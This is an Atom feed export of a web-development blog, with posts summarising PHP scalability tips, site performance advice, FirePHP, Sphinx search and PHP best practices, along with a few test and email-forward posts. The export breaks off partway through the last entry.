<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-8191367375415289842</id><updated>2011-11-27T17:14:29.023-08:00</updated><category term='apache'/><category term='Live Streaming'/><category term='Copyright Issue Articles'/><category term='xml'/><category term='Tabless Design Tips'/><category term='Brochure Design Tips'/><category term='Robots'/><category term='javascript'/><category term='javascript tips'/><category term='php'/><category term='security'/><category term='FirePhp'/><category term='Web Design Tips'/><category term='Semantic Web'/><category term='xslt'/><category term='api'/><category term='Webcasting'/><category term='Web Tips'/><category term='Google'/><category term='Maps'/><category term='Browser'/><category term='Flash'/><category term='css'/><category term='General'/><category term='SEO'/><category term='sql'/><category term='smarty'/><category term='Technology News'/><category term='w3c validation'/><category term='html'/><category term='Search Engine'/><category term='XHTML'/><category term='web server'/><category term='zend'/><category term='Animation'/><category term='ftp'/><category term='Web Crawlers'/><category term='Web 3.0'/><category term='web design'/><title type='text'>WEBNOLOGY ::  Web Development Technologies</title><subtitle type='html'>Find out the Web, the spiders and the technology used to create the web. Web development technologies PHP,ASP.NET,Javascript,Ajax,JSON,Python,CSS,HTML,DHTML,XML,tips and tricks, technology articles.</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://webnology.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://webnology.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>unni</name><uri>http://www.blogger.com/profile/07413941466960411392</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>89</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-8191367375415289842.post-1813871720362972121</id><published>2010-01-24T05:19:00.000-08:00</published><updated>2010-01-24T05:20:13.346-08:00</updated><title type='text'>hi tchecking</title><content type='html'>checking&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8191367375415289842-1813871720362972121?l=webnology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://webnology.blogspot.com/feeds/1813871720362972121/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8191367375415289842&amp;postID=1813871720362972121' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/1813871720362972121'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/1813871720362972121'/><link rel='alternate' type='text/html' href='http://webnology.blogspot.com/2010/01/hi-tchecking.html' title='hi tchecking'/><author><name>unni</name><uri>http://www.blogger.com/profile/07413941466960411392</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8191367375415289842.post-2584601944354237297</id><published>2010-01-16T09:38:00.001-08:00</published><updated>2010-01-16T09:38:02.834-08:00</updated><title type='text'>Re: new</title><content type='html'>&lt;br&gt;&lt;br&gt;&lt;div class="gmail_quote"&gt;On Sat, Jan 16, 2010 at 9:23 PM, Unni Krishnan &lt;span dir="ltr"&gt;&amp;lt;&lt;a href="mailto:unni21@gmail.com"&gt;unni21@gmail.com&lt;/a&gt;&amp;gt;&lt;/span&gt; wrote:&lt;br&gt;&lt;blockquote class="gmail_quote" style="border-left: 1px solid rgb(204, 204, 204); margin: 0pt 0pt 0pt 0.8ex; padding-left: 1ex;"&gt; &lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div class="h5"&gt;&lt;br&gt;&lt;br&gt;&lt;div class="gmail_quote"&gt;On Sat, Jan 16, 2010 at 9:14 PM, Unni Krishnan &lt;span dir="ltr"&gt;&amp;lt;&lt;a href="mailto:unni21@gmail.com" target="_blank"&gt;unni21@gmail.com&lt;/a&gt;&amp;gt;&lt;/span&gt; wrote:&lt;br&gt; &lt;blockquote class="gmail_quote" style="border-left: 1px solid rgb(204, 204, 204); margin: 0pt 0pt 0pt 0.8ex; padding-left: 1ex;"&gt; ESME to SMSC network architecture&lt;br clear="all"&gt;&lt;font color="#888888"&gt;&lt;br&gt;-- &lt;br&gt;Thanks &amp;amp; Regards,&lt;br&gt;&lt;br&gt;Unni Krishnan.R&lt;br&gt;Web Developer&lt;br&gt;Mob:09895983845&lt;br&gt; &lt;/font&gt;&lt;/blockquote&gt;&lt;/div&gt;&lt;br&gt;&lt;br clear="all"&gt;&lt;br&gt;-- &lt;br&gt;Thanks &amp;amp; Regards,&lt;br&gt;&lt;br&gt;Unni Krishnan.R&lt;br&gt;Web Developer&lt;br&gt;Mob:09895983845&lt;br&gt; &lt;/div&gt;&lt;/div&gt;&lt;/blockquote&gt;&lt;/div&gt;&lt;br&gt;&lt;br clear="all"&gt;&lt;br&gt;-- &lt;br&gt;Thanks &amp;amp; Regards,&lt;br&gt;&lt;br&gt;Unni Krishnan.R&lt;br&gt;Web Developer&lt;br&gt;Mob:09895983845&lt;br&gt; &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8191367375415289842-2584601944354237297?l=webnology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://webnology.blogspot.com/feeds/2584601944354237297/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8191367375415289842&amp;postID=2584601944354237297' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/2584601944354237297'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/2584601944354237297'/><link rel='alternate' type='text/html' href='http://webnology.blogspot.com/2010/01/re-new_16.html' title='Re: new'/><author><name>unni</name><uri>http://www.blogger.com/profile/07413941466960411392</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8191367375415289842.post-3486012739218540543</id><published>2010-01-16T07:53:00.001-08:00</published><updated>2010-01-16T07:53:03.359-08:00</updated><title type='text'>Re: new</title><content type='html'>&lt;br&gt;&lt;br&gt;&lt;div class="gmail_quote"&gt;On Sat, Jan 16, 2010 at 9:14 PM, Unni Krishnan &lt;span dir="ltr"&gt;&amp;lt;&lt;a href="mailto:unni21@gmail.com"&gt;unni21@gmail.com&lt;/a&gt;&amp;gt;&lt;/span&gt; wrote:&lt;br&gt;&lt;blockquote class="gmail_quote" style="border-left: 1px solid rgb(204, 204, 204); margin: 0pt 0pt 0pt 0.8ex; padding-left: 1ex;"&gt; ESME to SMSC network architecture&lt;br clear="all"&gt;&lt;font color="#888888"&gt;&lt;br&gt;-- &lt;br&gt;Thanks &amp;amp; Regards,&lt;br&gt;&lt;br&gt;Unni Krishnan.R&lt;br&gt;Web Developer&lt;br&gt;Mob:09895983845&lt;br&gt; &lt;/font&gt;&lt;/blockquote&gt;&lt;/div&gt;&lt;br&gt;&lt;br clear="all"&gt;&lt;br&gt;-- &lt;br&gt;Thanks &amp;amp; Regards,&lt;br&gt;&lt;br&gt;Unni Krishnan.R&lt;br&gt;Web Developer&lt;br&gt;Mob:09895983845&lt;br&gt; &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8191367375415289842-3486012739218540543?l=webnology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://webnology.blogspot.com/feeds/3486012739218540543/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8191367375415289842&amp;postID=3486012739218540543' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/3486012739218540543'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/3486012739218540543'/><link rel='alternate' type='text/html' href='http://webnology.blogspot.com/2010/01/re-new.html' title='Re: new'/><author><name>unni</name><uri>http://www.blogger.com/profile/07413941466960411392</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8191367375415289842.post-1404782785561373685</id><published>2010-01-16T07:44:00.001-08:00</published><updated>2010-01-16T07:44:11.915-08:00</updated><title type='text'>new</title><content type='html'>ESME to SMSC network architecture&lt;br clear="all"&gt;&lt;br&gt;-- &lt;br&gt;Thanks &amp;amp; Regards,&lt;br&gt;&lt;br&gt;Unni Krishnan.R&lt;br&gt;Web Developer&lt;br&gt;Mob:09895983845&lt;br&gt; &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8191367375415289842-1404782785561373685?l=webnology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://webnology.blogspot.com/feeds/1404782785561373685/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8191367375415289842&amp;postID=1404782785561373685' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/1404782785561373685'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/1404782785561373685'/><link rel='alternate' type='text/html' href='http://webnology.blogspot.com/2010/01/new.html' title='new'/><author><name>unni</name><uri>http://www.blogger.com/profile/07413941466960411392</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8191367375415289842.post-2802843703237455591</id><published>2008-11-08T11:39:00.001-08:00</published><updated>2008-11-08T11:39:45.420-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='php'/><title type='text'>register_shutdown_function possible use cases</title><content type='html'>Eirik Hoem on his blog provides an overview of PHP’s register_shutdown_function, and suggests using it for the cases when for whatever reason your Web page ran out of memory, fatal’ed, and you don’t want to display a blank page to the users.&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;br /&gt;register_shutdown_function is also useful for command-line scripts with PHP. Pretty frequently your script has to do some task like parse a large XML file, and the test examples when it was originally written did not account for the XML file possible being huge. Therefore your script dies with like 23% completion, and you’re left with 23% of the XML file parsed. Not ideal, but a quick duct-tape-style fix, would be to introduce a register_shutdown_function call to system(), to which you pass the script itself.&lt;br /&gt;&lt;br /&gt;If you happen to keep track of which line you’re on while parsing, you can pass the line number as the first parameter to your own script, and make it start off after that 23% mark, or wherever it died. The script then needs to be launched with 0 passed as the first parameter. It will run out of memory, die, launch register_shutdown_function, which will launch another copy of the script (while successfully shutting down the original process) with a new line number, which will repeat the process.&lt;br /&gt;&lt;br /&gt;Again, this is a duct tape approach to PHP memory consumption issues while working with large data sets.&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8191367375415289842-2802843703237455591?l=webnology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://webnology.blogspot.com/feeds/2802843703237455591/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8191367375415289842&amp;postID=2802843703237455591' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/2802843703237455591'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/2802843703237455591'/><link rel='alternate' type='text/html' href='http://webnology.blogspot.com/2008/11/registershutdownfunction-possible-use.html' title='register_shutdown_function possible use cases'/><author><name>unni</name><uri>http://www.blogger.com/profile/07413941466960411392</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8191367375415289842.post-7063379015281888493</id><published>2008-11-08T11:25:00.000-08:00</published><updated>2008-11-08T11:37:00.680-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Web Tips'/><category scheme='http://www.blogger.com/atom/ns#' term='php'/><title type='text'>24 Web site performance tips</title><content type='html'>Yahoo! Developer Network blog had an entry by Stoyan Stefanov and presentation from PHP Quebec conference. A few points to take away, in case you don’t feel like going through 76-slide presentation:&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;  1. A drop of 100ms in page rendering time leads to 10% in sales on Amazon. A drop of 500 ms leads to 20% less traffic to Google.&lt;br /&gt;  2. Make fewer HTTP requests - combine CSS and JS files into single downloads. Minify both JS and CSS.&lt;br /&gt;  3. Combine images into CSS sprites.&lt;br /&gt;  4. Bring static content closer to the users. That usually means CDNs like Akamai or Limelight, but sometimes a co-location facility or data center in a foreign country is the only option.&lt;br /&gt;  5. Static content should have Expires: headers way into the future, so that they’re never re-requested.&lt;br /&gt;  6. Dynamic content should have Cache Control: header.&lt;br /&gt;  7. Offer content gzip’ed.&lt;br /&gt;  8. Stoyan claims nothing will be rendered in the browser till the last piece of CSS has been served, and therefore it’s critical to send CSS as early in the process as possible. I happen to have a document with CSS declared at the very end, and disagree with this statement - at least the content seems to render OK without CSS, and then self-corrects when CSS finally loads.&lt;br /&gt;  9. Move the scripts all the way to the bottom to avoid the download block - Stoyan’s example shows placing the javascript includes right before and , although it’s possible to place them even further down (well, you’d break XHTML purity, I suppose, if you declare your documents to be XHTML).&lt;br /&gt; 10. Avoid CSS expressions.&lt;br /&gt; 11. Consider placing the minified CSS and JS files on separate servers to fight browser’s default pipelining settings - not everybody has FasterFox or tweaked pipeline settings.&lt;br /&gt; 12. For super-popular pages consider inlining JS for fewer HTTP requests.&lt;br /&gt; 13. Even though placing content on external servers with different domains will help you with HTTP pipelining, don’t go crazy with various domains - they all require DNS lookups.&lt;br /&gt; 14. Every 301 redirect is a wasted HTTP request.&lt;br /&gt; 15. For busy backend servers consider PHP’s flush().&lt;br /&gt; 16. Use GET over POST any time you have a choice.&lt;br /&gt; 17. Analyze your cookies - large number of them could substantially increase the number of TCP packets.&lt;br /&gt; 18. For faster JavaScript and DOM parsing, reduce the number of DOM elements.&lt;br /&gt; 19. document.getElementByTagName(’*').length will give you the number of total elements. Look at those abusive &lt;div&gt;s.&lt;br /&gt; 20. Any missing JS file is a significant performance penalty - the browser will browse the 404 page you generate, trying to see if it has valid &lt;script&gt;s.&lt;br /&gt;  21. Optimize your PNGs - check out pngcrush, pngoptimizer&lt;br /&gt;  22. Optimize JPEGs - jpegtran&lt;br /&gt;  23. Make sure you have favicon.ico - generating those 404s will be expensive, plus once you have it, it’s cache-able.&lt;br /&gt;  24. Toolkits for measuring page loads: AOL PageTest, FiddlerTool HTTP debugging proxy, IBM Page Detailer instrumentation tool, YSlow, and Firebug are suggested in the presentation. My personal addition to the list is Charles that has been recommended by a colleague.&lt;/span&gt;&lt;/script&gt;&lt;/div&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8191367375415289842-7063379015281888493?l=webnology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://webnology.blogspot.com/feeds/7063379015281888493/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8191367375415289842&amp;postID=7063379015281888493' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/7063379015281888493'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/7063379015281888493'/><link rel='alternate' type='text/html' href='http://webnology.blogspot.com/2008/11/24-web-site-performance-tips.html' title='24 Web site performance tips'/><author><name>unni</name><uri>http://www.blogger.com/profile/07413941466960411392</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8191367375415289842.post-994530983396118894</id><published>2008-11-08T11:05:00.000-08:00</published><updated>2008-11-08T11:23:38.216-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='php'/><category scheme='http://www.blogger.com/atom/ns#' term='FirePhp'/><title type='text'>FirePHP for PHP and AJAX development</title><content type='html'>FirePHP is a package consisting of a Firefox extension and server-side PHP library for quick PHP development on top of Firebug. It allows you to include the PHP library, and issue logging calls like&lt;br /&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;fb('Log message'  ,FirePHP::LOG);&lt;br /&gt;   fb(’Info message’ ,FirePHP::INFO);&lt;br /&gt;   fb(’Warn message’ ,FirePHP::WARN);&lt;br /&gt;   fb(’Error message’,FirePHP::ERROR);&lt;br /&gt;&lt;br /&gt;This is visible only to the Firefox version that has FirePHP installed on top of Firebug. You can also dump entire array and objects to the fb() function call, and have them displayed in Firebug UI.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_VHplZu23whg/SRXm9Cn4dKI/AAAAAAAAH0Y/cKjPnkL9NyU/s1600-h/image-thumb.png"&gt;&lt;img style="cursor: pointer; width: 296px; height: 320px;" src="http://4.bp.blogspot.com/_VHplZu23whg/SRXm9Cn4dKI/AAAAAAAAH0Y/cKjPnkL9NyU/s320/image-thumb.png" alt="" id="BLOGGER_PHOTO_ID_5266369275630220450" border="0" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8191367375415289842-994530983396118894?l=webnology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://webnology.blogspot.com/feeds/994530983396118894/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8191367375415289842&amp;postID=994530983396118894' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/994530983396118894'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/994530983396118894'/><link rel='alternate' type='text/html' href='http://webnology.blogspot.com/2008/11/firephp-for-php-and-ajax-development.html' title='FirePHP for PHP and AJAX development'/><author><name>unni</name><uri>http://www.blogger.com/profile/07413941466960411392</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_VHplZu23whg/SRXm9Cn4dKI/AAAAAAAAH0Y/cKjPnkL9NyU/s72-c/image-thumb.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8191367375415289842.post-7776819750147580310</id><published>2008-11-08T11:00:00.000-08:00</published><updated>2008-11-08T11:03:53.410-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='zend'/><category scheme='http://www.blogger.com/atom/ns#' term='php'/><title type='text'>PHP Top scalability mistakes</title><content type='html'>1. Define the scalability goals for your application. If you don’t know how many requests you’re shooting for, you don’t know whether you’ve built something that works, and how long it’s going to last you.&lt;br /&gt;   2. Measure everything. CPU usage, memory usage, disk I/O, network I/O, requests per second, with the last one being the most important. If you don’t know the baseline, you don’t know whether you’ve improved.&lt;br /&gt;   3. Design your database with scalability in mind. Assume you’ll have to implement replication.&lt;br /&gt;&lt;span class="fullpost"&gt;John Coggeshall, CTO of Automotive Computer Services, and author of Zend PHP Certification Practice Book and PHP5 Unleashed, gave a talk at OSCON 2008 on top 10 scalability mistakes. I wasn’t there, but he posted the slides for everybody to follow. Here’re some lessons learned.&lt;br /&gt;&lt;br /&gt;   1. Define the scalability goals for your application. If you don’t know how many requests you’re shooting for, you don’t know whether you’ve built something that works, and how long it’s going to last you.&lt;br /&gt;   2. Measure everything. CPU usage, memory usage, disk I/O, network I/O, requests per second, with the last one being the most important. If you don’t know the baseline, you don’t know whether you’ve improved.&lt;br /&gt;   3. Design your database with scalability in mind. Assume you’ll have to implement replication.&lt;br /&gt;   4. Do not rely on NFS for code sharing on a server farm. It’s slow and it’s got locking issues. While the idea of keeping one copy of code, and letting the rest of the servers load them via NFS might seem very convenient, it doesn’t work in practice. Stick to some tried practices like rsync. Keep the code local to the machine serving it, even if it means a longer push process.&lt;br /&gt;   5. Play around with I/O buffers. If you’ve got tons of memory, play with TCP buffer size - your defaults are likely to be set conservatively. See your tax dollars at work and use this Linux TCP Tuning guide. If your site is written in PHP, use output buffering functions.&lt;br /&gt;   6. Use Ram Disks for any data that’s disposable. But you do need a lot of available RAM lying around.&lt;br /&gt;   7. Optimize bandwidth consumption by enabling compression via mod_deflate, setting zlib.put_compression value to true for PHP sites, or Tidy content reduction for PHP+Tidy sites.&lt;br /&gt;   8. Confugure PHP for speed. Turn off the following: register_globals, auto_globals_jit, magic_quotes_gpc, expose_php, register_argc_argv, always_populate_raw_post_data, session.use_trans_sid, session.auto_start. Set session.gc_divisor to 10,000, output_buffering to 4096, in John’s example.&lt;br /&gt;   9. Do not use blocking I/O, such as reading another remote page via curl. Make all the calls non-blocking, otherwise the wait is something you can’t really optimize against. Rely on background scripts to pull down the data necessary for processing the request.&lt;br /&gt;  10. Don’t underestimate caching. If a page is cached for 5 minutes, and you get even 10 requests per second for a given page, that’s 3,000 requests your database doesn’t have to process.&lt;br /&gt;  11. Consider PHP op-code cache. This will be available to you off-the-shelf with PHP6.&lt;br /&gt;  12. For content sites consider taking static stuff out of dynamic context. Let’s say you run a content site, where the article content remains the same, while the rest of the page is personalized for each user, as it has My Articles section, and so on. Instead of getting everything dynamically from the DB, consider generating yet another PHP file on the first request, where the article text would be stored in raw HTML, and dynamic data pulled for logged-in users. This way the generated PHP file will only pull out the data that’s actually dynamic.&lt;br /&gt;  13. Pay great attention to database design. Learn indexes and know how to use them properly. InnoDB outperforms MyISAM in almost all contexts, but doesn’t do full-text searching. (Use sphinx if your search needs get out of control.)&lt;br /&gt;  14. Design PHP applications in an abstract way, so that the app never needs to know the IP address of the MySQL server. Something like ‘mysql-writer-db’, and ‘mysql-reader-db’ will be perfectly ok for a PHP app.&lt;br /&gt;  15. Run external scripts monitoring the system health. Have the scripts change the HOSTS if things get out of control.&lt;br /&gt;  16. Do not do database connectivity decision-making in PHP. Don’t spend time doing fallbacks if your primary DB is down. Consider running MySQL Proxy for simplifying DB connectivity issues.&lt;br /&gt;  17. For super-fast reads consider SQLite.  But don’t forget that it’s horrible with writes.&lt;br /&gt;  18. Use Keepalive properly. Use it when both static and dynamic files are served off the same server, and you can control the timeouts, so that a bunch of Keep-alive requests don’t overwhelm your system. John’s rule? No Keep-alive request should last more than 10 seconds.&lt;br /&gt;  19. Monitor via familiar Linux commands. Such as iostat and vmstat. The iostat command is used for monitoring system input/output device loading by observing the time the devices are active in relation to their average transfer rates. The iostat command generates reports that can be used to change system configuration to better balance the input/output load between physical disks. vmstat  reports  information about processes, memory, paging, block IO, traps, and cpu activity.&lt;br /&gt;  20. Make sure you’re logging relevant information right away. Otherwise debugging issues is going to get tricky.&lt;br /&gt;  21. Prioritize your optimizations. Optimization by 50% of the code that runs on 2% of the pages will result in 1% total improvement. Optimizing 10% of the code that runs on 80% of the pages results in 8% overall improvement.&lt;br /&gt;  22. Use profilers. They draw pretty graphs, they’re generally easy to use.&lt;br /&gt;  23. Keep track of your system performance. Keep a spreadsheet of some common stats you’re tracking, so that you can authoritatively say how much of performance gain you got by getting a faster CPU, installing extra RAM, or upgrading your Linux kernel.&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8191367375415289842-7776819750147580310?l=webnology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://webnology.blogspot.com/feeds/7776819750147580310/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8191367375415289842&amp;postID=7776819750147580310' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/7776819750147580310'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/7776819750147580310'/><link rel='alternate' type='text/html' href='http://webnology.blogspot.com/2008/11/top-scalability-mistakes.html' title='PHP Top scalability mistakes'/><author><name>unni</name><uri>http://www.blogger.com/profile/07413941466960411392</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8191367375415289842.post-1536894429988399748</id><published>2008-11-08T10:58:00.000-08:00</published><updated>2008-11-08T11:00:10.107-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='sql'/><category scheme='http://www.blogger.com/atom/ns#' term='php'/><title type='text'>Sphinx search ported to PECL</title><content type='html'>Anthony Dovgal reported on adding open source SQL full-text search engine sphinx to PECL. The documentation is available on the PHP site, the engine is available upon including sphinxapi.php in your application. &lt;br /&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;You know the usual InnoDB vs. the MyISAM trade-offs, where the former is faster, but the latter has the full-text search? Sphinx is a free open-source full-text search engine that works with many RDMBS, and now is pretty easy to incorporate into PHP. A simple example of calling Sphinx is available here:&lt;br /&gt;&lt;br /&gt;    $s = new SphinxClient;&lt;br /&gt;    $s-&gt;setServer("localhost", 6712);&lt;br /&gt;    $s-&gt;setMatchMode(SPH_MATCH_ANY);&lt;br /&gt;    $s-&gt;setMaxQueryTime(3);&lt;br /&gt;    $result = $s-&gt;query("test");&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8191367375415289842-1536894429988399748?l=webnology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://webnology.blogspot.com/feeds/1536894429988399748/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8191367375415289842&amp;postID=1536894429988399748' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/1536894429988399748'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/1536894429988399748'/><link rel='alternate' type='text/html' href='http://webnology.blogspot.com/2008/11/sphinx-search-ported-to-pecl.html' title='Sphinx search ported to PECL'/><author><name>unni</name><uri>http://www.blogger.com/profile/07413941466960411392</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8191367375415289842.post-1837433271322064332</id><published>2008-11-08T10:49:00.000-08:00</published><updated>2008-11-08T10:51:10.947-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='php'/><title type='text'>Best practices in PHP development</title><content type='html'>1. Use source control&lt;br /&gt;         1. First, choose between distributed and non-distributed&lt;br /&gt;         2. Then, if you chose non-distributed, choose between CVS and SVN&lt;br /&gt;         3. In Subversion, use trunk/ for ongoing development and bug fixes, branches/ for ongoing large projects that later need to be merged in, and tags/ for releases&lt;br /&gt;         4. Use svn externals to connect to remote repositories&lt;br /&gt;         5. Subversion supports pre-commit and post-commit hooks for better code maintainability and checks&lt;br /&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;   &lt;br /&gt;&lt;br /&gt;   2. Implement coding standards&lt;br /&gt;         1. Develop class, variable, function, package, etc. naming conventions&lt;br /&gt;         2. Agree on common formatting as far as spacing, braces, etc.&lt;br /&gt;         3. Implement comment standards&lt;br /&gt;         4. PHP_CodeSniffer can run on pre-commit to check whether the commit adheres to the standards&lt;br /&gt;         5. Don’t forget to enforce coding standards on any outsourced projects&lt;br /&gt;   3. Unit testing and code coverage&lt;br /&gt;         1. Use PHPUnit for unit testing&lt;br /&gt;         2. For continuous integration, check out phpUnderControl&lt;br /&gt;         3. For integration testing, check out Selenium, a general Web application testing suite&lt;br /&gt;   4. Documentation&lt;br /&gt;         1. Don’t invent your own standards, see what phpDocumentor has to offer. Doxygen also supports phpDoc tags&lt;br /&gt;         2. For documenting the software project, try DocBook - XML-based format that allows you to quickly publish a PDF document, or a Website with documentation&lt;br /&gt;   5. Deployment&lt;br /&gt;         1. Have a standard deployment process that a rookie can familiarize with quickly&lt;br 